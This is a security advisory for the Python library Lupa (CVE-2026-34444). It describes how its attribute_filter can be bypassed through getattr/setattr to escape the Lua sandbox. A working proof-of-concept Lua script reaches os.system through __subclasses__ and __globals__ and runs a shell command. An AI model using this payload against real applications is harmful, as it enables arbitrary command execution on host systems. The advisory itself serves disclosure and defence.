lupa
Affected
- introduced
0, last affected2.6(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-34444, GHSA-69v7-xpr6-6gjm
Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr
Summary
The attribute_filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.
However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
Details
The attribute_filter is meant to block access to attributes such as __class__, __mro__, and similar internal properties.
In practice, it only applies to direct attribute access:
obj.attr → filteredgetattr(obj, "attr") → not filteredBecause of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.
An attacker can use getattr to-
__class____mro__ chain__subclasses__()__globals__os.systemAt that point, arbitrary command execution becomes straightforward.
This effectively breaks the security boundary that attribute_filter is expected to enforce.
PoC
The following example shows how the filter can be bypassed to execute os.system:'
import lupa
from lupa import LuaRuntime
def protected_attribute_filter(obj, attr_name, is_setting):
if isinstance(attr_name, str) and attr_name.startswith('_'):
raise AttributeError(f"Access to '{attr_name}' is forbidden")
return attr_name
lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)
class UserProfile:
def __init__(self, name): self.name = name
lua.globals().user = UserProfile("test")
lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr
local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")
local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
if tostring(c):find("os._wrap_close") then
local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
setattr(user, "run", system)
user.run("id")
end
end
""")
Impact
An attacker who can execute Lua code can:
attribute_filterThis leads to full sandbox escape and arbitrary command execution in the host Python process.
Any application relying on attribute_filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register_builtins=False option.
Critical Basis: CVSS v3 score 10, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
0, last affected 2.6 (ecosystem)None listed
No fixed version is listed.
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Source: PyPA Advisory Database · CC BY 4.0